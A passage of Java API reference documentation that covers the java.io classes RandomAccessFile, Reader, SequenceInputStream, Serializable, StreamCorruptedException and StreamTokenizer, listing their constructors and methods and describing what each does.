This method reads the next byte from the file. The method blocks until the byte is read, the end of the file is encountered, or an exception is thrown.

public int read(byte b[]) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

Returns

The number of bytes read or -1 if the end of file is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads bytes from the file into the given array. The method reads up to b.length bytes of data from the stream. The method blocks until there is some data available.

public int read(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to be filled.

off

An offset into the array.

len

The number of bytes to read.

Returns

The number of bytes read or -1 if the end of file is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads up to len bytes from the file into the given array, starting at index off. The method blocks until there is some input available.

readBoolean

public final boolean readBoolean() throws IOException

Returns

The boolean value read from the file.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readBoolean()

Description

This method reads a byte as a boolean value from the file. A byte that contains a zero is read as false. A byte that contains any other value is read as true. The method blocks until the byte is read, the end of the file is encountered, or an exception is thrown.

readByte

public final byte readByte() throws IOException

Returns

The byte value read from the file.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readByte()

Description

This method reads a signed 8-bit value, a byte, from the file. The method blocks until the byte is read, the end of the file is encountered, or an exception is thrown.

readChar

public final char readChar() throws IOException

Returns

The char value read from the file.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readChar()

Description

This method reads a 16-bit Unicode character from the file. The method reads two bytes from the file and then creates a char value using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the file is encountered, or an exception is thrown.

readDouble

public final double readDouble() throws IOException

Returns

The double value read from the file.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readDouble()

Description

This method reads a 64-bit double quantity from the file. The method reads a long value from the file as if using the readLong() method. The long value is then converted to a double using the longBitsToDouble() method in Double. The method blocks until the necessary eight bytes are read, the end of the file is encountered, or an exception is thrown.

readFloat

public final float readFloat() throws IOException

Returns

The float value read from the file.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFloat()

Description

This method reads a 32-bit float quantity from the file. The method reads an int value from the file as if using the readInt() method. The int value is then converted to a float using the intBitsToFloat() method in Float. The method blocks until the necessary four bytes are read, the end of the file is encountered, or an exception is thrown.

readFully

public final void readFully(byte b[]) throws IOException

Parameters

b

The array to fill.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFully(byte[])

Description

This method reads bytes into the given array b until the array is full. The method reads repeatedly from the file to fill the array. The method blocks until all of the bytes are read, the end of the file is encountered, or an exception is thrown.

public final void readFully(byte b[], int off, int len) throws IOException

Parameters

b

The array to fill.

off

An offset into the array.

len

The number of bytes to read.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readFully(byte[], int, int)

Description

This method reads len bytes into the given array, starting at offset off. The method reads repeatedly from the file to fill the array. The method blocks until all of the bytes are read, the end of the file is encountered, or an exception is thrown.

readInt

public final int readInt() throws IOException

Returns

The int value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readInt()

Description

This method reads a signed 32-bit int quantity from the file. The method reads four bytes from the file and then creates an int quantity, using the first byte read as the most significant byte. The method blocks until the four bytes are read, the end of the file is encountered, or an exception is thrown.

readLine

public final String readLine() throws IOException

Returns

A String that contains the line read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other I/O error occurs.

Implements

DataInput.readLine()

Description

This method reads the next line of text from the file. The method reads bytes of data from the file until it encounters a line terminator. A line terminator is a carriage return ('\r'), a newline character ('\n'), a carriage return immediately followed by a newline character, or the end of the file. The method blocks until a line terminator is read, the end of the file is encountered, or an exception is thrown.

The method does not convert bytes to characters correctly.

readLong

public final long readLong() throws IOException

Returns

The long value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readLong()

Description

This method reads a signed 64-bit long quantity from the file. The method reads eight bytes from the file and then creates a long quantity, using the first byte read as the most significant byte. The method blocks until the eight bytes are read, the end of the file is encountered, or an exception is thrown.

readShort

public final short readShort() throws IOException

Returns

The short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readShort()

Description

This method reads a signed 16-bit short quantity from the file. The method reads two bytes from the file and then creates a short quantity, using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the file is encountered, or an exception is thrown.

readUnsignedByte

public final int readUnsignedByte() throws IOException

Returns

The unsigned byte value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Returns

Implements

DataInput.readUnsignedByte()

Description

This method reads an unsigned 8-bit quantity from the file. The method reads a byte from the file and returns that byte. The method blocks until the byte is read, the end of the file is encountered, or an exception is thrown.

readUnsignedShort

public final int readUnsignedShort() throws IOException

Returns

The unsigned short value read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

Implements

DataInput.readUnsignedShort()

Description

This method reads an unsigned 16-bit quantity from the file. The method reads two bytes from the file and creates an unsigned short quantity using the first byte read as the most significant byte. The method blocks until the two bytes are read, the end of the file is encountered, or an exception is thrown.

readUTF

public final String readUTF() throws IOException

Returns

The String read from the stream.

Throws

EOFException

If the end of the file is encountered.

IOException

If any other kind of I/O error occurs.

UTFDataFormatException

If the bytes do not represent a valid UTF-8 encoding.

Implements

DataInput.readUTF()

Description

This method reads a UTF-8 encoded string from the file. The method reads the first two bytes from the file as unsigned short values, to get the number of bytes in the encoded string. Then the following bytes are read and interpreted UTF-8 encoded bytes; these bytes are converted into characters for the resulting String. This method blocks until all of the bytes in the encoded string have been read, the end of the file is encountered, or an exception is thrown. See Appendix B, The UTF-8 Encoding for information about the UTF-8 encoding.

seek

public native void seek(long pos) throws IOException

Parameters

pos

The new position in the file.

Throws

IOException

If any kind of I/O error occurs.

Description

This method sets the current file position to the specified position. The position is the offset, in bytes, from the beginning of the file where the next read or write operation occurs.

skipBytes

public int skipBytes(int n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of skipped bytes.

Throws

EOFException

If EOF is encountered.

IOException

If any I/O error occurs.

Implements

DataInput.skipBytes()

Description

This method skips over n bytes.

write

public native void write(int b) throws IOException

Parameters

b

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.write(int)

Description

This method writes the low-order eight bits of b to the file as a byte.

public void write(byte b[]) throws IOException

Parameters

b

An array of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.write(byte[])

Description

This method writes the bytes in the given array to the file.

public void write(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to write.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.write(byte[], int, int)

Description

This method writes len bytes from the given array, starting off elements from the beginning of the array, to the file.

writeBoolean

public final void writeBoolean(boolean v) throws IOException

Parameters

v

The boolean value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeBoolean()

Description

If v is true, this method writes a byte that contains the value 1 to the file. If v is false, the method writes a byte that contains the value 0.

writeByte

public final void writeByte(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeByte()

Description

This method writes an 8-bit byte to the file, using the low-order eight bits of the given integer v.

writeBytes

public final void writeBytes(String s) throws IOException

Parameters

s

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeBytes()

Description

This method writes the characters in the given String to the file as a sequence of 8-bit bytes. The high-order bytes of the characters in the string are ignored.

writeChar

public final void writeChar(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeChar()

Description

This method writes a 16-bit char to the file, using the low-order 16 bits of the given integer v.

writeChars

public final void writeChars(String s) throws IOException

Parameters

s

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeChars()

Description

This method writes the characters in the given String object to the file as a sequence of 16-bit characters.

writeDouble

public final void writeDouble(double v) throws IOException

Parameters

v

The double value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeDouble()

Description

This method writes a 64-bit double to the file. The double value is converted to a long using doubleToLongBits() of Double; the long value is then written to the file as eight bytes with the high-order byte first.

writeFloat

public final void writeFloat(float v) throws IOException

Parameters

v

The float value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeFloat()

Description

This method writes a 32-bit float to the file. The float value is converted to a int using floatToIntBits() of Float; the int value is then written to the file as four bytes with the high-order byte first.

writeInt

public final void writeInt(int v) throws IOException

Parameters

v

The int value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeInt()

Description

This method writes a 32-bit int to the file. The value is written as four bytes with the high-order byte first.

writeLong

public final void writeLong(long v) throws IOException

Parameters

v

The long value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeLong()

Description

This method writes a 64-bit long to the file. The value is written as eight bytes with the high-order byte first.

writeShort

public final void writeShort(int v) throws IOException

Parameters

v

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeShort()

Description

This method writes a 16-bit short to the file, using the low-order 16 bits of the given integer v.

writeUTF

public final void writeUTF(String str) throws IOException

Parameters

str

The String to write.

Throws

IOException

If any kind of I/O error occurs.

Implements

DataOutput.writeUTF()

Description

This method writes the given String to the file using the UTF-8 encoding. See Appendix B, The UTF-8 Encoding for information about the UTF-8 encoding.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DataInput, DataOutput, File, FileInputStream, FileOutputStream, Double, Float, Integer, IllegalArgumentException, IOException, Long

Previous | Home | Next
PushbackReader | Book Index | Reader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] Reader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

Reader

Name

Reader

Synopsis

Class Name:

java.io.Reader

Superclass:

java.lang.Object

Immediate Subclasses:

java.io.BufferedReader, java.io.CharArrayReader,

java.io.FilterReader, java.io.InputStreamReader,

java.io.PipedReader, java.io.StringReader

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Reader class is an abstract class that is the superclass of all classes that represent input character streams. Reader defines the basic input methods that all character streams provide. A similar hierarchy of classes, based around InputStream, deals with byte streams instead of character streams.

Reader is designed so that read() and read(char[]) both call read(char[], int, int). Thus, a subclass can simply override read(char[], int, int), and all of the read methods will work. Note that this is different from the design of InputStream, where the read() method is the catch-all method. The design of Reader is cleaner and more efficient.

Reader also defines a mechanism for marking a position in the stream and returning to it later, via the mark() and reset() methods. Another method, markSupported(), tells whether or not this mark-and-reset functionality is available in a particular subclass.

Class Summary

public abstract class java.io.Reader extends java.lang.Object {
  // Variables
  protected Object lock;
  // Constructors
  protected Reader();
  protected Reader(Object lock);
  // Instance Methods
  public abstract void close();
  public void mark(int readAheadLimit);
  public boolean markSupported();
  public int read();
  public int read(char[] cbuf);
  public abstract int read(char[] cbuf, int off, int len);
  public boolean ready();
  public void reset();
  public long skip(long n) throws IOException;
}

Variables

lock

protected Object lock

Description

The object used to synchronize operations on this Reader object. For efficiency's sake, a particular implementation of a character stream can choose to synchronize its operations on something other than instances of itself. Thus, any subclass should synchronize on the lock object, instead of using a synchronized method or the this object.

Constructors

Reader

protected Reader()

Description

This constructor creates a Reader that synchronizes on the Reader itself, or in other words, on the this object.

protected Reader(Object lock)

Parameters

lock

The object to use for synchronization.

Description

This constructor creates a Reader that synchronizes on the given object.

Instance Methods

close

public abstract void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the reader and releases any system resources associated with it.

A subclass of Reader must implement this method.

mark

public void mark(int readheadLimit) throws IOException

Parameters

readAheadLimit

The maximum number of characters that can be read before the saved position becomes invalid.

Throws

IOException

If any kind of I/O error occurs.

Description

This method tells this Reader object to remember its current position, so that the position can be restored by a call to the reset() method. The Reader can read readAheadLimit characters beyond the marked position before the mark becomes invalid.

The implementation of the mark() method in Reader simply throws an exception to indicate that the mark-and-reset functionality is not implemented. A subclass must override the method to provide the functionality.

markSupported

public boolean markSupported()

Returns

true if this reader supports mark() and reset(); false otherwise.

Description

This method returns a boolean value that indicates whether or not this object supports mark-and-reset functionality.

The markSupported() method in Reader always returns false. A subclass that implements the mark-and-reset functionality should override the method to return true.

read

public int read() throws IOException

Returns

The next character of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads the next character of input. The character is returned as an integer in the range 0x0000 to 0xFFFF. The method blocks until the character is read, the end of stream is encountered, or an exception is thrown.

The implementation of this method in Reader reads the character by calling read(cb, 0, 1), where cb is a character array, and returning cb[0]. Although it is not strictly necessary, a subclass that wants to provide efficient single-character reads should override this method.

public int read(char[] cbuf) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads characters of input to fill the given array by calling read(cbuf, 0, cbuf.length). The method blocks until some data is available.

A subclass does not usually need to override this method, as it can override read(char[], int, int) and have read(char[]) work automatically.

 public abstract int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

off

An offset into the array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads up to len characters of input into the given array starting at index off. The method blocks until some data is available.

A subclass of Reader must implement this method.

ready

public boolean ready() throws IOException

Returns

A boolean value that indicates whether the reader is ready to be read.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns true if the next read() is guaranteed to not block.

The implementation of the ready() method in Reader always returns false. A subclass should override this method as appropriate.

reset

public void reset() throws IOException

Throws

IOException

If there was no previous call to the mark() method or the saved position has been invalidated.

Description

This method restores the position of the stream to the position that was saved by a previous call to mark().

The implementation of the reset() method in Reader throws an exception to indicate that mark-and-reset functionality is not supported by default. A subclass must override the method to provide the functionality.

skip

public long skip(long n) throws IOException

Parameters

n

The number of characters to skip.

Returns

The actual number of characters skipped.

Throws

IOException

If any kind of I/O error occurs.

Description

This method skips n characters of input. In other words, it moves the position of the stream forward by n characters.

The implementation of the skip() method in Reader simply calls read(cb, 0, n) where cb is a character array that is at least n bytes long. A subclass may want to override this method to implement a more efficient skipping algorithm.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedReader, CharArrayReader, FilterReader, InputStreamReader, IOException, PipedReader, StringReader

Previous | Home | Next
RandomAccessFile | Book Index | SequenceInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] SequenceInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

SequenceInputStream

Name

SequenceInputStream

Synopsis

Class Name:

java.io.SequenceInputStream

Superclass:

java.io.InputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The SequenceInputStream class allows a series of InputStream objects to be seamlessly concatenated into one stream. In other words, a SequenceInputStream appears and functions as a single InputStream. Internally, however, the SequenceInputStream reads data from each InputStream in the specified order. When the end of a stream is encountered, data is automatically read from the next stream.

Class Summary

public class java.io.SequenceInputStream extends java.io.InputStream {
  // Constructors
  public SequenceInputStream(Enumeration e);
  public SequenceInputStream(InputStream s1, InputStream s2);
  // Instance Methods
  public int available();                         // New in 1.1
  public void close();
  public int read();
  public int read(byte[] buf, int pos, int len);
}

Constructors

SequenceInputStream

public SequenceInputStream(Enumeration e)

Parameters

e

An Enumeration of input streams.

Description

This constructor creates a SequenceInputStream that reads from each of the InputStream objects in the given Enumeration. Each object in the Enumeration must be an InputStream.

public SequenceInputStream(InputStream s1, InputStream s2)

Parameters

s1

An input stream.

s2

Another input stream.

Description

This constructor creates a SequenceInputStream that reads first from s1 and then from s2.

Instance Methods

available

public int available() throws IOException

Availability

New as of JDK 1.1

Returns

The number of bytes that can be read without blocking, or 0 if the end of the final stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.available()

Description

This method returns the number of bytes that can be read without having to wait for more data to become available. The method returns the result of calling available() on the current stream. If the end of the final stream is encountered, the method returns 0.

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.close()

Description

This method closes the stream and releases the system resources that are associated with it. The method closes all the InputStream objects attached to this object.

read

public int read() throws IOException

Returns

The next byte of data or -1 if the end of the final stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read()

Description

This method reads the next byte of data from the current stream. When the end of the current stream is encountered, that stream is closed, and the first byte of the next InputStream is read. If there are no more InputStream objects in the SequenceInputStream, -1 is returned to signify the end of the SequenceInputStream. The method blocks until the byte is read, the end of the final stream is encountered, or an exception is thrown.

public int read(byte[] buf, int off, int len) throws IOException

Parameters

buf

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the final stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read(byte[], int, int)

Description

This method reads up to len bytes of input from the current stream into the given array starting at index off. When the end of the current stream is encountered, that stream is closed, and bytes are read from the next InputStream. If there are no more InputStream objects in the SequenceInputStream, -1 is returned to signify the end of the SequenceInputStream. The method blocks until there is some data available.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark(int) | InputStream
markSupported() | InputStream | notify() | Object
notifyAll() | Object | reset() | InputStream
skip(long) | InputStream | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

InputStream, IOException

Previous | Home | Next
Reader | Book Index | Serializable
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] Serializable

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

Serializable

Name

Serializable

Synopsis

Interface Name:

java.io.Serializable

Super-interface:

None

Immediate Sub-interfaces:

java.io.Externalizable

Implemented By:

java.awt.BorderLayout, java.awt.CardLayout,

java.awt.CheckboxGroup, java.awt.Color,

java.awt.Component, java.awt.Cursor,

java.awt.Dimension, java.awt.Event,

java.awt.FlowLayout, java.awt.Font,

java.awt.FontMetrics, java.awt.GridBagConstraints,

java.awt.GridBagLayout, java.awt.GridLayout,

java.awt.Insets, java.awt.MediaTracker,

java.awt.MenuComponent, java.awt.MenuShortcut,

java.awt.Point, java.awt.Polygon,

java.awt.Rectangle, java.awt.SystemColor,

java.io.File, java.io.ObjectStreamClass,

java.lang.Boolean, java.lang.Character,

java.lang.Class, java.lang.Number,

java.lang.String, java.lang.StringBuffer,

java.lang.Throwable, java.net.InetAddress,

java.net.URL, java.text.BreakIterator,

java.text.Collator, java.text.DateFormatSymbols,

java.text.DecimalFormatSymbols, java.text.Format,

java.util.BitSet, java.util.Calendar,

java.util.Date, java.util.EventObject,

java.util.Hashtable, java.util.Locale,

java.util.Random, java.util.TimeZone,

java.util.Vector

Availability:

New as of JDK 1.1

Description

The Serializable interface is implemented by classes that allow object instances to be serialized and deserialized. A class uses the default serialization mechanism simply by implementing this interface. A class that wants finer control over serialization and deserialization should implement the following methods (with these exact signatures):

private void readObject(ObjectInputStream in)
             throws IOException, ClassNotFoundException;
private void writeObject(ObjectOutputStream out) throws IOException;

The ObjectOutputStream and ObjectInputStream classes support serialization and deserialization, respectively.

Interface Declaration

public abstract interface java.io.Serializable {
}

See Also

BitSet, Boolean, BreakIterator, Calendar, Character, Class, Collator, Date, DateFormatSymbols, DecimalFormatSymbols, EventObject, Externalizable, File, Format, Hashtable, InetAddress, Locale, Number, ObjectInputStream, ObjectOutputStream, ObjectStreamClass, Random, String, StringBuffer, Throwable, TimeZone, URL, Vector

Previous | Home | Next
SequenceInputStream | Book Index | StreamCorruptedException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] StreamCorruptedException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

StreamCorruptedException

Name

StreamCorruptedException

Synopsis

Class Name:

java.io.StreamCorruptedException

Superclass:

java.io.ObjectStreamException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A StreamCorruptedException is thrown during object deserialization to indicate that the stream being read is corrupted and doesn't contain valid serialized object data.

Class Summary

public class java.io.StreamCorruptedException
             extends java.io.ObjectStreamException {
  // Constructors
  public StreamCorruptedException();
  public StreamCorruptedException(String reason);
}

Constructors

StreamCorruptedException

public StreamCorruptedException()

Description

This constructor creates a StreamCorruptedException with no reason string.

public StreamCorruptedException(String reason)

Parameters

reason

A description of the reason this exception was thrown.

Description

This constructor creates a StreamCorruptedException with the specified reason string.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ObjectStreamException, Throwable

Previous | Home | Next
Serializable | Book Index | StreamTokenizer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] StreamTokenizer

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

StreamTokenizer

Name

StreamTokenizer

Synopsis

Class Name:

java.io.StreamTokenizer

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The StreamTokenizer class performs a lexical analysis on an InputStream object and breaks the stream into tokens. Although StreamTokenizer is not a general-purpose parser, it recognizes tokens that are similar to those used in the Java language. A StreamTokenizer recognizes identifiers, numbers, quoted strings, and various comment styles.

A StreamTokenizer object can be wrapped around an InputStream. In this case, when the StreamTokenizer reads bytes from the stream, the bytes are converted to Unicode characters by simply zero-extending the byte values to 16 bits. As of Java 1.1, a StreamTokenizer can be wrapped around a Reader to eliminate this problem.

The nextToken() method returns the next token from the stream. The rest of the methods in StreamTokenizer control how the object interprets the characters that it reads and tokenizes them.

The parsing functionality of StreamTokenizer is controlled by a table and a number of flags. Each character that is read from the InputStream is in the range '\u0000' to '\uFFFF'. The character value looks up attributes of the character in the table. A character can have zero or more of the following attributes: whitespace, alphabetic, numeric, string quote, and comment character.

By default, a StreamTokenizer recognizes the following:

  • Whitespace characters between '\u0000' and '\u0020'

  • Alphabetic characters from 'a' through 'z', 'A' through 'Z', and '\u00A0' and '\u00FF'.

  • Numeric characters '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '.', and '-'

  • String quote characters "'" and "'"

  • Comment character "/"

Class Summary

public class java.io.StreamTokenizer extends java.lang.Object {
  // Variables
  public double nval;
  public String sval;
  public int ttype;
  public final static int TT_EOF;
  public final static int TT_EOL;
  public final static int TT_NUMBER;
  public final static int TT_WORD;
  // Constructors
  public StreamTokenizer(InputStream in);           // Deprecated in 1.1
  public StreamTokenizer(Reader in);                // New in 1.1
  // Instance Methods
  public void commentChar(int ch);
  public void eolIsSignificant(boolean flag);
  public int lineno();
  public void lowerCaseMode(boolean flag);
  public int nextToken();
  public void ordinaryChar(int ch);
  public void ordinaryChars(int low, int hi);
  public void parseNumbers();
  public void pushBack();
  public void quoteChar(int ch);
  public void resetSyntax();
  public void slashSlashComments(boolean flag);
  public void slashStarComments(boolean flag);
  public String toString();
  public void whitespaceChars(int low, int hi);
  public void wordChars(int low, int hi);
}

Variables

nval

public double nval

Description

This variable contains the value of a TT_NUMBER token.

sval

public String sval

Description

This variable contains the value of a TT_WORD token.

ttype

public int ttype

Description

This variable indicates the token type. The value is either one of the TT_ constants defined below or the character that has just been parsed from the input stream.

TT_EOF

public final static int TT_EOF = -1

Description

This token type indicates that the end of the stream has been reached.

TT_EOL

public final static int TT_EOL = '\n'

Description

This token type indicates that the end of a line has been reached. The value is not returned by nextToken() unless eolIsSignificant(true) has been called.

TT_NUMBER

public final static int TT_NUMBER = -2

Description

This token type indicates that a number has been parsed. The number is placed in nval.

TT_WORD

public final static int TT_WORD = -3

Description

This token type indicates that a word has been parsed. The word is placed in sval.

Constructors

StreamTokenizer

public StreamTokenizer(InputStream in)

Availability

Deprecated as of JDK 1.1

Parameters

in

The input stream to tokenize.

Description

This constructor creates a StreamTokenizer that reads from the given InputStream. As of JDK 1.1, this method is deprecated and StreamTokenizer(Reader) should be used instead.

public StreamTokenizer(Reader in)

Availability

New as of JDK 1.1

Parameters

in

The reader to tokenize.

Description

This constructor creates a StreamTokenizer that reads from the given Reader.

Instance Methods

commentChar

public void commentChar(int ch)

Parameters

ch

The character to use to indicate comments.

Description

This method tells this StreamTokenizer to treat the given character as the beginning of a comment that ends at the end of the line. The StreamTokenizer ignores all of the characters from the comment character to the end of the line. By default, a StreamTokenizer treats the '/' character as a comment character. This method may be called multiple times if there are multiple characters that begin comment lines.

To specify that a character is not a comment character, use ordinaryChar().

eolIsSignificant

public void eolIsSignificant(boolean flag)

Parameters

flag

A boolean value that specifies whether or not this StreamTokenizer returns TT_EOL tokens.

Description

A StreamTokenizer recognizes "\n", "\r", and "\r\n" as the end of a line. By default, end-of-line characters are treated as whitespace and thus, the StreamTokenizer does not return TT_EOL tokens from nextToken(). Call eolIsSignificant(true) to tell the StreamTokenizer to return TT_EOL tokens.

lineo

public int lineno()

Returns

The current line number.

Description

This method returns the current line number. Line numbers begin at 1.

lowerCaseMode

public void lowerCaseMode(boolean flag)

Parameters

flag

A boolean value that specifies whether or not this StreamTokenizer returns TT_WORD tokens in lowercase.

Description

By default, a StreamTokenizer does not change the case of the words that it parses. However if you call lowerCaseMode(true), whenever nextToken() returns a TT_WORD token, the word in sval is converted to lowercase.

nextToken

public int nextToken() throws IOException

Returns

One of the token types (TT_EOF, TT_EOL, TT_NUMBER, or TT_WORD) or a character code.

Throws

IOException

If any kind of I/O error occurs.

Description

This method reads the next token from the stream. The value returned is the same as the value of the variable ttype. The nextToken() method parses the following tokens:

TT_EOF

The end of the input stream has been reached.

TT_EOL

The end of a line has been reached. The eolIsSignificant() method controls whether end-of-line characters are treated as whitespace or returned as TT_EOL tokens.

TT_NUMBER

A number has been parsed. The value can be found in the variable nval. The parseNumbers() method tells the StreamTokenizer to recognize numbers distinct from words.

TT_WORD

A word has been parsed. The word can be found in the variable sval.

Quoted string

A quoted string has been parsed. The variable ttype is set to the quote character, and sval contains the string itself. You can tell the StreamTokenizer what characters to use as quote characters using quoteChar().

Character

A single character has been parsed. The variable ttype is set to the character value.

ordinaryChar

public void ordinaryChar(int ch)

Parameters

ch

The character to treat normally.

Description

This method causes this StreamTokenizer to treat the given character as an ordinary character. This means that the character has no special significance as a comment, string quote, alphabetic, numeric, or whitespace character. For example, to tell the StreamTokenizer that the slash does not start a single-line comment, use ordinaryChar('/').

ordinaryChars

public void ordinaryChars(int low, int hi)

Parameters

low

The beginning of a range of character values.

hi

The end of a range of character values.

Description

This method tells this StreamTokenizer to treat all of the characters in the given range as ordinary characters. See the description of ordinaryChar() above for more information.

parseNumbers

public void parseNumbers()

Description

This method tells this StreamTokenizer to recognize numbers. The StreamTokenizer constructor calls this method, so the default behavior of a StreamTokenizer is to recognize numbers. This method modifies the syntax table of the StreamTokenizer so that the following characters have the numeric attribute: '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '.', and '-'

When the parser encounters a token that has the format of a double-precision floating-point number, the token is treated as a number rather than a word. The ttype variable is set to TT_NUMBER, and nval is set to the value of the number.

To use a StreamTokenizer that does not parse numbers, make the above characters ordinary using ordinaryChar() or ordinaryChars():

pushBack

public void pushBack()

Description

This method has the effect of pushing the current token back onto the stream. In other words, after a call to this method, the next call to the nextToken() method returns the same result as the previous call to the nextToken()method without reading any input.

quoteChar

public void quoteChar(int ch)

Parameters

ch

The character to use as a delimiter for quoted strings.

Description

This method tells this StreamTokenizer to treat the given character as the beginning or end of a quoted string. By default, the single-quote character and the double-quote character are string-quote characters. When the parser encounters a string-quote character, the ttype variable is set to the quote character, and sval is set to the actual string. The string consists of all the characters after (but not including) the string-quote character up to (but not including) the next occurrence of the same string-quote character, a line terminator, or the end of the stream.

To specify that a character is not a string-quote character, use ordinaryChar().

resetSyntax

public void resetSyntax()

Description

This method resets this StreamTokenizer, which causes it to treat all characters as ordinary characters. See the description of ordinaryChar() above for more information.

slashSlashComments

public void slashSlashComments(boolean flag)

Parameters

flag

A boolean value that specifies whether or not this StreamTokenizer recognizes double-slash comments (//).

Description

By default, a StreamTokenizer does not recognize double-slash comments. However, if you call slashSlashComments(true), the nextToken() method recognizes and ignores double-slash comments.

slashStarComments

public void slashStarComments(boolean flag)

Parameters

flag

A boolean value that specifies whether or not this StreamTokenizer recognizes slash-star (/* ... */) comments.

Description

By default, a StreamTokenizer does not recognize slash-star comments. However, if you call slashStarComments(true), the nextToken() method recognizes and ignores slash-star comments.

toString

public String toString()

Returns

A String representation of the current token.

Overrides

Object.toString()

Description

